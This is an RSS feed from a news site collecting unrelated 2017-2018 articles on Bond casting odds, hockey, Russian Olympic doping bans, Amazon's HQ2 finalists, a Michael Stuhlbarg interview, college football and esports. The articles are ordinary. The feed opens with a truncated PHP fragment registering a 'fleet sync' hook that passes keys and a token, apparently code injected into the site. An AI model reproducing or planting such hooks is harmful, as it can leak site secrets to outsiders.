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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); contenders – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 17 Sep 2018 02:35:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png contenders – Brief News https://briefnews.eu 32 32 James Bond: Will Bodyguard's Richard Madden replace Daniel Craig? Round-up of contenders https://briefnews.eu/james-bond-will-bodyguards-richard-madden-replace-daniel-craig-round-up-of-contenders/ https://briefnews.eu/james-bond-will-bodyguards-richard-madden-replace-daniel-craig-round-up-of-contenders/#respond Mon, 17 Sep 2018 02:35:59 +0000 http://briefnews.eu/james-bond-will-bodyguards-richard-madden-replace-daniel-craig-round-up-of-contenders/

Of course we’re still years away from knowing who Craig’s successor will be – as he still has at least one more movie to film.

The 25th film in the series is still pencilled in for a late 2019 release date despite no director currently being attached – so even if it doesn’t get delayed, which itself seems unlikely at this point, Craig will be tied in to being 007 for another 18 months.

That hasn’t stopped punters from flocking to place their bets on his successor, however.

Madden has had a lot of interest in him recently, after he went down a storm as the titular Bodyguard in BBC One’s well-received new drama.

So how much competition does he have if he wants to be 007? According to bookies, lots.

With Coral, Madden currently has 10/1 odds of landing the job – which puts him in sixth place.

Ahead of him are current favourite Tom Hardy on 2/1, and long-term frontrunner Idris Elba on 4/1.

Henry Cavill has been cut right down to 6/1 after being rumoured to have left his role as Superman, and Tom Hiddleston has those same odds too.

James Norton follows on 8/1, after having similar attention to Madden when he starred in McMafia.

Behind Madden, Outlander star Sam Heughan is on 12/1 alongside Poldark’s Aidan Turner and Jack Huston. Any female can also be backed at 12/1.

Cillian Murphy of Peaky Blinders is in the mix at 20/1, as is Michael Fassbender; and Ewan McGregor is at 25/1 with Daniel Kaluuya and Jamie Dornan.

Dan Stevens, Andrew Lincoln, Damian Lewis and Jack O’Connell all follow on 33/1.

Jed Mercurio, the writer of Bodyguard, recently hinted that Madden’s huge newfound popularity could be what prevents the BBC drama from returning.

“He’s the genuine article, a real leading man. And I think this role has put him very much in the spotlight for bigger things,” the Telegraph quotes him as saying.

“So the practicality may be that we have to work round his availability, if we are lucky enough to get him back.”

James Bond 25 is still scheduled for release in November 2019.

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]]> https://briefnews.eu/james-bond-will-bodyguards-richard-madden-replace-daniel-craig-round-up-of-contenders/feed/ 0 Grey's Anatomy Season 15: The Likeliest — and Unlikeliest — Contenders to Be Meredith's Season of Love Interest https://briefnews.eu/greys-anatomy-season-15-the-likeliest-and-unlikeliest-contenders-to-be-merediths-season-of-love-interest/ https://briefnews.eu/greys-anatomy-season-15-the-likeliest-and-unlikeliest-contenders-to-be-merediths-season-of-love-interest/#respond Sat, 11 Aug 2018 20:53:23 +0000 http://briefnews.eu/greys-anatomy-season-15-the-likeliest-and-unlikeliest-contenders-to-be-merediths-season-of-love-interest/

Since Grey’s Anatomy showrunner Krista Vernoff recently told TVLine that the question during the ABC drama’s upcoming Season of Love “is not, ‘Will Meredith Grey find love again?’ but ‘With whom will she find love?’” we’ve been asking ourselves that very (specific) question. And based on the intel we have thus far about Season 15, we’ve come up with seven possible answers.

On one hand, some of those answers fall under the heading of “C’mon now, you’ve got to be kidding!” On the other, we are talking here about Grey’s, a show that delights in delivering shocks so big, we’d swear we’ve run afoul of a defibrillator. So we’ve left almost no option off the (operating) table.

To review our candidates to be Mer’s new man, click on the gallery above or go here for direct access. Then hit the comments and name the guy with whom you could most easily imagine her playing doctor.

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]]> https://briefnews.eu/greys-anatomy-season-15-the-likeliest-and-unlikeliest-contenders-to-be-merediths-season-of-love-interest/feed/ 0 Maple Leafs investing in Marlies to build Cup contenders at both levels https://briefnews.eu/maple-leafs-investing-in-marlies-to-build-cup-contenders-at-both-levels/ https://briefnews.eu/maple-leafs-investing-in-marlies-to-build-cup-contenders-at-both-levels/#respond Tue, 06 Mar 2018 23:00:32 +0000 http://briefnews.eu/maple-leafs-investing-in-marlies-to-build-cup-contenders-at-both-levels/

The sensible course for each NHL team is to build through the draft and have sound player development in the American Hockey League.

The top-two Canadian-based clubs this season, the Winnipeg Jets and Toronto Maple Leafs, are proof of this philosophy.

Not only are the Jets and Maple Leafs considered legitimate Stanley Cup challengers, their respective AHL affiliates also are Calder Cup contenders.

The Leafs’ farm team, the Toronto Marlies, have the best record in the AHL at 40-16-2, and the Jets’ AHL affiliate, the Manitoba Moose, sit third overall at 35-16-7.

But the longtime debate when it comes to NHL teams and its minor-league clubs is; Is it better to have a winner? Or, a team only concerned with development?

Well, why can’t you have both?

Development ‘priority No. 1’

“First and foremost, our job is to develop players — whether as Leafs call-ups who are going to help during the season, or guys who are going to play for the Leafs down the line or developing assets,” Marlies head coach Sheldon Keefe said.

“That’s priority No. 1, but we’ve been able to do that in a winning environment and that can help development too.”

Some teams are going to have blue-chippers who won’t spend a shift in the minors. But ideally, each club has five or so players in the AHL who will be cultivated and become contributors at the NHL level.

Keefe has turned over players like 21-year-old defenceman Travis Dermott and 21-year-old right winger Kasperi Kapanen to the Maple Leafs this season. At the trade deadline, defenceman Rinat Valiev and forward Kerby Rychel yielded veteran centre Tomas Plekanec from the Montreal Canadiens. Forward Nikita Soshnikov was sent to the St. Louis Blues for a fourth-round draft choice.

There are others such as forwards Andreas Johnsson, Frederik Gauthier, Jeremy Bracco and defenceman Timothy Liljegren who are close.

Deep pockets

The 37-year-old Keefe, in his third season as the Marlies bench boss, added his team has been fortunate because of the financial resources the parent club has poured into its farm team, whether it’s investments in the latest conditioning routines and nutrition trends, or salaries to bring in veteran players who can help in the win column and mentor the young talent.

The Marlies have several players who make good coin for playing in the AHL. Defenceman Martin Marincin is the club’s top earner at $ 1.3 million US, followed by goalie Calvin Pickard ($ 1.075 million), and forwards Colin Greening ($ 750,000), Ben Smith ($ 650,000) and Chris Mueller ($ 400,000).

“It’s incredible,” Greening said. “Some guys call this the 32nd NHL team because of how much resources this team has. From what I’m told that all changed four years ago when the new management came in.”

Greening, who turns 32 on Friday, has a good grasp on this NHL-AHL relationship. He won a Calder Cup with the 2010-11 Binghamton Senators and has played in more NHL regular season games than AHL games (286 to 234).

Greening a veteran presence

The Marlies, who have slumped lately with a 3-5-1 record in their last nine outings, have miles to travel before they can be crowned Calder Cup champs. But Greening sees a difference between his current club and the Binghamton team that won the AHL title seven years ago.

“What helped that team was that we had a lot of guys who had NHL experience,” said Greening, who played 24 games in Ottawa that season, his first year of pro.

“We also picked up a few pieces, like Ryan Potulny. He thrived in the playoffs [with 14 goals and 26 points in 23 games that spring].”

Greening was rather green seven seasons ago. Now he finds himself in a mentoring position with the young Marlies.

“The teacher is the coach,” he said. “I’m more of a veteran presence, someone who knows how to be a pro. It’s something I’ve learned over a number of years. In 2011, I learned from players like Ryan Keller.”

Calder Cup to Stanley Cup

This June marks the 25th anniversary of when the Montreal Canadiens defeated Wayne Gretzky and the Los Angeles Kings in five games in the NHL final, the last time a Canadian-based club won the Stanley Cup.

Meanwhile, the Calder Cup has been captured by only three Canadian-based AHL teams in the same period: 1992-93 Cape Breton Oilers, 2000-01 Saint John Flames and 2006-07 Hamilton Bulldogs.

It’s never easy to predict what a Calder Cup championship means to the parent NHL team. When Saint John won, the Calgary Flames made it to the Stanley Cup final three years later. After goalie Carey Price and the Bulldogs were victorious, the Canadiens advanced all the way to the East final in 2010.

When Greening and Binghamton celebrated its AHL championship, Ottawa came within an overtime goal of making it to the Stanley Cup final last spring.

It will be interesting to see what’s in store for the Marlies and Moose in the next few months.

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]]> https://briefnews.eu/maple-leafs-investing-in-marlies-to-build-cup-contenders-at-both-levels/feed/ 0 Russia says more medal contenders banned from Olympics https://briefnews.eu/russia-says-more-medal-contenders-banned-from-olympics/ https://briefnews.eu/russia-says-more-medal-contenders-banned-from-olympics/#respond Tue, 23 Jan 2018 13:24:29 +0000 http://briefnews.eu/russia-says-more-medal-contenders-banned-from-olympics/

Several of Russia’s top medal hopes for next month’s Olympics, including six-time short track speed skating gold medallist Viktor Ahn, have been barred from the Games in Pyeongchang amid the country’s ongoing doping scandal.

The Russian Olympic Committee said Tuesday that Ahn, cross-country skier Sergei Ustyugov and biathlete Anton Shipulin have been left out of an International Olympic Committee pool of eligible athletes.

Other officials said that two-time figure skating medallist Ksenia Stolbova and several other speed skaters were excluded. The Russian Figure Skating Federation said the IOC was trying to provoke Russia into a boycott.

ROC senior vice president Stanislav Pozdnyakov said in a statement that he discovered the absences during negotiations with IOC officials on Monday and has asked the IOC to explain why they were not included.

Pozdnyakov said Ahn, Ustyugov and Shipulin “have never been involved in any doping cases and all of the many samples they have given during their careers testify that they are clean athletes. Regardless, their names are currently missing from the list of potential participants in the games.”

The IOC said it would not comment on individual cases.

Ahn won three gold medals for South Korea at the 2006 Olympics as Ahn Hyun-soo before switching allegiance to Russia in the run-up to the 2014 Sochi Olympics, where he won three more.

World champions banned

The Russian Figure Skating Federation said in a statement that Stolbova, who won team gold and pairs silver in 2014, was excluded, as well as ice dancer Ivan Bukin, the son of 1988 Olympic gold medallist Andrei Bukin.

The federation said it was “deeply disappointed in this baseless IOC decision which is reminiscent of a provocation with the aim of forcing Russian athletes by any means possible to decline to participate in the games.”

The head of the Russian Skating Union, Alexei Kravtsov, told the RIA Novosti state news agency that numerous other speed skaters had been barred.

They include world champions Pavel Kulizhnikov and Denis Yuskov, both of whom have previously served bans for failed doping tests, as well as Ruslan Zakharov, who won an Olympic relay gold medal in short track speed skating in Sochi in 2014.

As punishment for what it termed a sophisticated Russian doping program at the 2014 Olympics, the IOC has forced all Russians competing in Pyeongchang to do so as “Olympic Athletes from Russia” under the Olympic flag, rather than as an official Russian team.

Russian athletes must be vetted by an IOC commission, which will examine their history of drug testing and links to past doping, before they are invited to the games.

On Friday, the IOC said it had cut an initial list of 500 Russian athletes down to a pool of 389, but didn’t give any names. Russian officials have expressed hope they could field a team of 200 athletes. That’s below the number that competed for Russia in 2014, but above its total from the 2010 Olympics in Vancouver.

Speaking to reporters on Tuesday, Kremlin spokesman Dmitry Peskov said Moscow is waiting for the IOC to clarify the situation.

“We have seen those deplorable reports in the media,” Peskov said. “We deeply regret if such decisions have indeed been taken. But we hope the situation will clear up because we do have contacts with the IOC. We hope those contacts will help clarify the situation around the aforementioned prominent athletes.”

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  • Amazon has narrowed its search for the site of its next headquarters, dubbed HQ2, to 20 cities. 
  • The list of candidates includes Atlanta, Austin, Boston, Chicago, Dallas, and Denver.
  • The company said it will make a final decision this year.

Amazon has waded through 238 proposals from cities across North America that are eager to become the home of its new headquarters, HQ2.

On Thursday, the company announced that it has reduced the list to 20 finalists, which includes Atlanta, Dallas, Washington, DC, and New York City. 

In the next few months, Amazon will be working with these locations to investigate the bids in more detail before making a decision. Late last year, the company outlined several requirements for cities, including access to an international airport, a population of more than one million, and a “stable and business-friendly environment.”

For the new headquarters, Amazon said it plans to invest over $ 5 billion and accommodate as many as 50,000 high-paying jobs, making it one of the largest corporate-civic giveaways in modern American history.

Take a look at the winning proposals below.

Atlanta, Georgia

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Possible sites: A 120-acre site that includes railroads and parking lots in Downtown Atlanta has been named as the city’s primary site for HQ2, sources told The Atlantic Business Chronicle.

Population: 472,522

Nearest international airports: Hartsfield-Jackson Atlanta International Airport

Notable universities: Emory University, Georgia Institute of Technology, Clark Atlanta University, Spelman College, and Morehouse College

Economic incentives: At a recent city event, the mayor of Atlanta said the state and city are offering incentives and infrastructure improvements that would total over $ 1 billion.

Why Amazon could choose the city: Moody’s has placed Atlanta second in the running, scoring it high on human capital and affordability.

Austin, Texas

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Possible sites: The city has not confirmed which sites have been proposed. However, the Austin Business Journal reported that a local real estate developer had been considering pitching the Broadmoor Campus, which is partly occupied by IBM in the north of Austin.

Population: 947,890

Nearest international airports: Austin–Bergstrom International Airport

Notable universities: Texas A&M University and The University of Texas at Austin

Economic incentives: The city will not offer special tax breaks to Amazon.

Why Amazon could choose the city: Austin is a well-known tech hub, but it has a lower cost of living than other tech cities like San Francisco and Seattle. Plus, Amazon would benefit from being close to one of its corporate offices as well as Whole Foods’ headquarters.

Boston, Massachusetts

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Possible sites: The city published an in-depth proposal outlining all the sites it had pitched in Boston. Its first recommendation was the Suffolk Downs racetrack between East Boston and Revere. However, three other areas were also presented around Downtown Boston and the waterfront, the South End/Back Bay area, and the Allston/Brighton area.  

Population: 673,184

Nearest international airports: Logan International Airport

Notable universities: Boston University, Boston College, Harvard University, MIT, and Northeastern University

Economic incentives: The city will not offer special tax breaks to Amazon.

Why Amazon could choose the city: There’s a good public transportation infrastructure within the city, and it’s well-connected to other major cities along the East Coast.


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]]> https://briefnews.eu/amazon-just-revealed-the-top-20-contenders-for-its-new-headquarters-here-are-their-incredible-proposals-amzn/feed/ 0 ‘Call Me by Your Name’ star Michael Stuhlbarg chats about acting in 3 Oscar contenders coming out this holiday season https://briefnews.eu/call-me-by-your-name-star-michael-stuhlbarg-chats-about-acting-in-3-oscar-contenders-coming-out-this-holiday-season/ https://briefnews.eu/call-me-by-your-name-star-michael-stuhlbarg-chats-about-acting-in-3-oscar-contenders-coming-out-this-holiday-season/#respond Mon, 27 Nov 2017 02:42:59 +0000 http://briefnews.eu/call-me-by-your-name-star-michael-stuhlbarg-chats-about-acting-in-3-oscar-contenders-coming-out-this-holiday-season/ Michael Stuhlbarg Frazer Harrison GettyFrazer Harrison/Getty

  • Michael Stuhlbarg has starred recently in everything from “Steve Jobs” and “Arrival” to this season of “Fargo.”
  • By the end of 2017, he’ll be in some of the most acclaimed movies of the year — “Call Me by Your Name,” “The Shape of Water,” and “The Post.”
  • Stuhlbarg talks about being involved in these hits, and playing the memorable Arnold Rothstein role in HBO’s “Boardwalk Empire.”

Every few years there seems to be one actor who shows up in a string of memorable movies, but you have no clue what his or her name is. That kind of actor is referred as a “That Guy” — the face is memorable but not the name — and Michael Stuhlbarg is the latest That Guy character actor to have his moment in the sun.

Just look at his filmography since 2015: “Steve Jobs,” “Arrival,” “Doctor Strange,” “Miss Sloane,” and he kicked off this year by starring in the latest season of “Fargo.” But the best is yet to come. Stuhlbarg will finish things off this year with roles in some of the most acclaimed movies of 2017: Luca Guadagnino’s “Call Me by Your Name” (now in theaters), Guillermo del Toro’s “The Shape of Water” (opening December 1), and Steven Spielberg’s “The Post” (December 22).

Business Insider chatted with Stuhlbarg about his recent run of hits, what it was like shooting the touching father-son scene in “Call Me by Your Name,” learning Russian in just a few weeks for his role in “The Shape of Water,” his regrets from “Boardwalk Empire,” and the choices an actor now must face in the wake of sexual misconduct allegations against some of the biggest names in the industry.

Jason Guerrasio: You’ve been in an incredible groove the last few years. Have you changed how you’ve gone about taking roles?

Michael Stuhlbarg: I have very little control of the kinds of things that come my way, so I’ve just tried to make the best decisions possible depending upon what comes along. There are artists out there that I have huge respect for, and in some cases projects involving them have come my way of late, so I’ve just leap at the opportunity. Whether it’s been Noah Hawley with “Fargo,” or Guillermo with “The Shape of Water,” or with Luca, or with Mr. Spielberg with “The Post.” I’m really just making the best out of what has presented itself as an opportunity.

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Guerrasio: And along the way do you consciously have to grab a role here or there that’s a payday? To pay the bills?

Stuhlbarg: I’ve been really lucky in that some of the work that I’ve had of late has, um —

Guerrasio: Satisfied you both creatively and financially?

Stuhlbarg: Yes. It really has.

Guerrasio: That’s great!

Stuhlbarg: Yeah. It’s just how things have happened. But it’s always understandable when people have to survive. If an opportunity came along and something in my private affairs needed some funding, [laughs] perhaps I would make a different kind of choice. But, as I said, I haven’t had much to do with the kinds of things that have come my way.

Guerrasio: What do you mean by that exactly?

Stuhlbarg: Well, there’s timing that comes into it, in when something is going to be shot and whether you’re going to be available for it. And other than that the only other power I have is if I don’t want to be a part of something, I get to say “no.” So I guess what I mean is I had no control over Luca being interested in working with me in “Call Me By Your Name.” It just sort of came into my life. I’ve never really campaigned for a role because I’m not privy to that kind of information oftentimes. So I make decisions on what has been presented to me.

Guerrasio: What grabbed you about the Mr. Perlman character in “Call Me By Your Name?”

Stuhlbarg: Everything about this project grabbed me. The idea that I got to work with Luca. That James Ivory was involved. That we would shoot in the North of Italy. I love to travel for work. That was a wonderful part of this job. And the character itself and the deeply felt sentiments he gets to convey.

michael stuhlbarg and timothee chalamet in call me by your nameSony Pictures ClassicsGuerrasio: Speaking of that, there’s an amazing scene toward the end of the movie where your character has a heart-to-heart with his son. It’s a real highlight of the movie. Could you feel what you saw on the script, or while shooting it, that the scene could be a memorable moment in the movie?

Stuhlbarg: I think I had heard previous that it was a part of the novel that people also found to be quite moving. So, yes, going into it there was a certain gravity, I’ll say, to that text. We shot the film in chronological order so I certainly felt after being alone with that material for many weeks and trying it a million different ways that I was ready to convey it when we had to.

Guerrasio: Is that a scene where you don’t do a lot of takes? Because you’ve been with the material for so long I’m assuming you were very prepared.

Stuhlbarg: We spoke through it once for camera movements and then we did what ended up being a more emotional take first and then a more direct take afterwards. And Luca felt like he got what he needed after our two takes and we moved on.

Guerrasio: There’s all this chatter of Luca wanting to do a “Call My By Your Name” sequel, is that something that’s already been discussed with you?

Stuhlbarg: I just hear it through interviews. I’m in. I had an amazing time. He really loves these characters. I think it would be fascinating to explore them in different ways.

Guerrasio: Did you shoot this first or “The Shape of Water?”

Stuhlbarg: I shot “Call Me By Your Name” first. “The Shape of Water” was not long after.

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Guerrasio: What’s great is in the span of weeks we’ll see you playing two very different characters, Mr. Perlman in “Call Me by Your Name” then Mr. Hoffstetler in “The Shape of Water.” What grabbed you about that character?

Stuhlbarg: Well, first that Guillermo knew who I was. [Laughs] He said he had written this part with me in mind. The style of that film sort of marries some magical realism and Cold War intrigue with a romance. It’s a very different kind of style. And I also had to speak Russian in it, which was a huge challenge.

Guerrasio: With the Russian, how far in do you go with trying to master the language?

Stuhlbarg: I try to go as deeply as I can given the time that I have. In this instance, there’s a process that you go through. I had to wait for the dialogue to be written into Russian, that took a while, then I worked with a tutor who helped me break down the nuances. One idea conveyed in English may be done in the reverse order in Russian. So there’s hearing the words, then articulating them, and phonetics, and then repetition, repetition.

Guerrasio: This takes weeks? Months?

Stuhlbarg: A lot of my stuff was up first so I didn’t have much time, so we’re talking weeks.

Guerrasio: Do you enjoy watching with an audience the movies you’re in?

Stuhlbarg: You never know what a movie is going to be the first time you see it. It’s been living in your head and your heart in particular ways. It’s always jarring and often times, with me, my appreciation will grow for it over time when I get to see it a number of times. But I do love to sit there and see people react to it. I love that part of what we get to do. They always end up laughing or crying in places you didn’t necessarily expect them to.

boardwalk empire hboHBOGuerrasio: One of your most memorable characters up to this point in your career is as Arnold Rothstein in “Boardwalk Empire.” I talked to Terence Winter once and he said he really regretted not being able to give the character a better send-off. Were you disappointed about that as well?

Stuhlbarg: Well, I had very little control over the situation. HBO had made a decision about ending the series a little bit earlier than I thought so they reduced the size of the final season and Terry said to me he wanted to utilize Rothstein in some way, like in flashbacks, and they just couldn’t find a way to do it. Of course, I would have loved to have had the opportunity to have given him a good send-off. And I loved the strange circumstance of his demise, which would have made a great part of an episode.

Guerrasio: Because in real life Rothstein died during a card game or something like that, right?

Stuhlbarg: Yeah. He went to the Park Central Hotel, which still exists in New York City. On the third floor. Shots rang out, we’re not sure where the shots came from, but it was supposedly related to the money he owed over a three-day poker game he was in the month before. He didn’t pay up because he thought the game was fixed. He never gave up who it was who shot him. He’s got the gangster code. He died a couple of days later. I had a great time learning about him.

Guerrasio: But it has to eat at you a little. That could have been its own standalone episode.

Stuhlbarg: Yeah. But you just have to let things go.

Guerrasio: You starred in the Netflix movie, “Gore,” which stars Kevin Spacey and is no longer being released due to the sexual harassment allegations against him. Going forward, do you now factor in sexual misconduct allegations into if you choose a role or not? What I mean is if an actor, director, or producer who has allegations against them is involved in a movie that you are up for a part in, do you now decline? Whether it be because of your own personal feelings or on just a business decision as you may encounter another experience like “Gore” where the movie doesn’t see the light of day.

Stuhlbarg: That’s a hard question. I think we all have to make our own decisions in regards to these things. I’d like to believe that given time I would make whatever decision I felt was the decision I needed to make. It’s an individual choice. I don’t know how I would answer that. [Pause] I’ll just say these are all individual decisions we all have to make by ourselves. I would have to weigh what was important to me at the time.

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Through 10 weeks of crazy college game days, the College Football Playoff landscape is still anything but settled. With four playoff spots available and four Power Five conference teams still undefeated, this should be easy, right? As Lee Corso is fond of saying, “Not so fast, my friends!”

Of the playoff contenders remaining, none are a guarantee to win out. After dismissing Ohio State in Week 9, Penn State (7-1) looked like a lock to cruise the rest of the way. So, of course, they lost to Michigan State last week. The rest of the playoff contenders, though? They face real hurdles ahead. Below, we dig into what — if anything — can upend the championship quest of Alabama, Georgia, Miami, Wisconsin and Notre Dame.

Now, allow me to address the elephant in the room.

Has the slumping Southeastern Conference underprepared Alabama for the College Football Playoff?

This is where we’re at. Nick Saban’s squad has been so dominant that we must point to their opponents’ mediocrity to find a potential threat against the Tide. Bama is off to a 9-0 start (6-0 in the SEC) and has scored fewer than 41 points just three times this season. Through six SEC conference matchups, the Tide’s average margin of victory is 35.7 points. But in three nonconference games? Only 21. Alabama faced its best competition in a groggy Week 1 victory over Florida State (24-7). Bama will be clear favorites every game this season, but will the easy ride lull the team to sleep? Doubtful, but Tide fans should still be wary of Auburn and a likely matchup with Georgia in the SEC title game. That Bulldog defense has the potential to give Alabama sophomore quarterback Jalen Hurts — who, to this point, has been coddled — fits. Hurts should face an immense increase in pressure come December.

Can Auburn quarterback Jarrett Stidham dice up Georgia’s stingy defense?

It’s tough to find anything to dislike about this Georgia team, but if I must, I would point to the lack of pressure that UGA has put on opposing quarterbacks thus far this season. That’s not to say that offenses aren’t belittled by Georgia — there’s a reason this team ranks third in the country, with 11.7 points allowed per game. But so far, quarterbacks have had time to operate. Georgia has 17 sacks on the season (tied for third worst in the SEC). The Bulldogs are so good they can rely on man-to-man coverage to defeat an offense, but that strategy risks being exposed by a quarterback who can air it out, like Stidham. Add in Auburn’s deadly rushing attack of Kam Pettway and Kerryon Johnson, and the Tigers have the talent to win a shootout against Georgia’s freshman quarterback Jake Fromm, who’s still learning on the job.

Clemson’s long list of quality wins won’t matter if the Irish keep rolling.

Clemson’s only loss came when quarterback Kelly Bryant was knocked out with a concussion against a rising Syracuse program. With Bryant healthy, Clemson is once again one of the top teams in the nation. They boast four top 20 wins over Auburn, Virginia Tech, North Caroline State and Louisville, but none of that will matter if Notre Dame continues its torrid pace. Since losing by one point (20-19) to Georgia in Week 2, Notre Dame has flexed on the competition to the tune of an 8-1 record. Irish QB Brandon Wimbush has been lights out, and Brian Kelly’s rushing attack ranks fifth in the nation with 325 yards per game. Notre Dame has big tests against undefeated Miami and No. 21 Stanford in the final three weeks, but even with a one-loss finish, they should earn their first inclusion in the playoff. Clemson will very likely be on the outside looking in.

Then again, if Miami upends Notre Dame …

Could an undefeated Power Five team be passed over for the first time ever?

A Miami victory over Notre Dame would further complicate things for the selection committee. At present, undefeated Wisconsin (8-0) and Miami (7-0) are ranked ninth and 10th, respectively, by the College Football Playoff committee, due to the lack of strong opponents in their schedules. Both will ascend if their hot streaks continue, and an undefeated Miami will certainly make the playoff.

But it’s easy to imagine a scenario in which Wisconsin — which represents a weak Big Ten West — is hung out to dry. The Badgers’ strength of schedule is so poor that the committee, which bases inclusion on a combination of merit and talent (we think), would give an edge to Clemson (7-1) or Oklahoma (7-1). Wisconsin has won games, but at some point you have to impress. Eking out victories against mediocre opponents does little to intrigue a national audience. As such, I’m waiting for a playoff field of Alabama, Georgia, Notre Dame and Oklahoma.

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Overwatch is set to launch season one of esports competition the Contenders this week.

The action will all kick off this Saturday August 19, with eight European and eight North American teams taking to the spotlight in the competition.

It follows on from the Overwatch Contenders season zero in July, and the latest round will all be streamed live on Twitch.

It will culminate in a live playoff event on October 7-8.

The prizes up for grabs has also risen since season zero, with $ 100,000 on offer in each region for season one. 

This is double the prize pool that was available back in July. The teams competing in Overwatch Contenders Season One is as follows:

• North America

EnvyUs (Invited), Rogue (Invited), Immortals (Qualified via Season Zero), Envision (Spot Acquired via Team Liquid), FNRGFE (Qualified via Season Zero), Kungarna (Qualified via Season Zero), FaZe Clan (Qualified via Season Zero),  Detroit Renegades (Qualified via Season Zero)

• Europe

eUnited (Qualified via Season Zero), 123 (Qualified via Season Zero), Laser Kittenz (Qualified via Season Zero), Bazooka Puppiez (Qualified via Season Zero), GamersOrigin (Spot Acquired via Movistar Riders), Singularity (Qualified via Season Zero), Rest in Pyjamas (Qualified via Season Zero), Misfits (Qualified via Season Zero)

Overwatch fans have received more news about the highly anticipated Deathmatch modes.

Blizzard have announced plans to release two Deathmatch modes to Arcade, and they were added to the PC PTR last week.

This means a PS4 and Xbox One release is set to follow soon.

Outlining the Overwatch Deathmatch mode, Blizzard said: “In Deathmatch, eight players go head-to-head until one player scores 20 points.

“Players will earn 1 point whenever they land the final blow on an opponent and will lose 1 point whenever they die to environmental damage (ex: falling off a cliff) or self-inflicted damage. This scoring will be tracked in a brand-new scoreboard. The first player to 20 points wins.”

“In Team Deathmatch, two teams of four players face off until one team scores 30 points. Players will earn 1 point for their team whenever they land the final blow on an opponent and will lose 1 point for their team whenever they die to environmental damage (ex: falling off a cliff) or self-inflicted damage.”

Overwatch players are in with the chance of winning some sweet, sweet loot boxes.

NRG Esports are giving away 50 Loot Boxes right now to mark the Overwatch Summer Games 2017.

And to be in with a chance of winning the loot boxes it couldn’t be simpler.

All you need to do is follow their account and retweet this post to have a chance of winning some loot boxes.

You can also get five loot boxes and a special golden loot box if you become either an Amazon Prime or Twitch Prime member.

The gold loot box will give players a guaranteed Legendary skin, and they need to sign up before August 21 to receive one.

The deal will still run until September 10, but without the golden loot box offer.

More free loot boxes are expected to come for Overwatch players in October – as long as they’re Amazon Prime or Twitch Prime members.

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The Welsh superstar could be on his way out of Real, especially if they land French sensation Kylian Mbappe, who is keen to quit Monaco.

Real president Florentino Perez is believed to be willing to do business on Bale, 28, for around £90million which would pay a large chunk of the fee for Mbappe.

He will be the odd man out if Mbappe does head to Real with Karim Benzema set to be offered a new contract in the coming weeks.

Manchester United have a long standing interest in Bale but they are known to prefer to wait until next summer to sign him.

Chelsea have been keeping tabs on Bale’s situation at Real all summer with Antonio Conte looking to make four more signings.

The Premier League champions have the financial power to match and improve anything that United put on the table to lure him away from the Spanish capital.

Roman Abramovich has already done business with Real this summer after luring striker Alvaro Morata to Stamford Bridge.

Bale broke the transfer record when Real Madrid paid Tottenham £85.3m, smashing the previous record set by Real when they paid £80m for Cristiano Ronaldo.

During his time at Real, he has won the Champions League three times as well as La Liga last season.

Monaco vice president Vadim Vasilyev has admitted Mbappe is likely to leave the French club this season to better his own career.

“Mbappe will make the right decision,” he said.

“He has never expressed a wish to leave us. We are, however, in conversation with him and contrary to what you may have seen in the press, it is not simply a case of money.

“It’s more complicated than that. The player needs to move for the sake of sporting reasons.”

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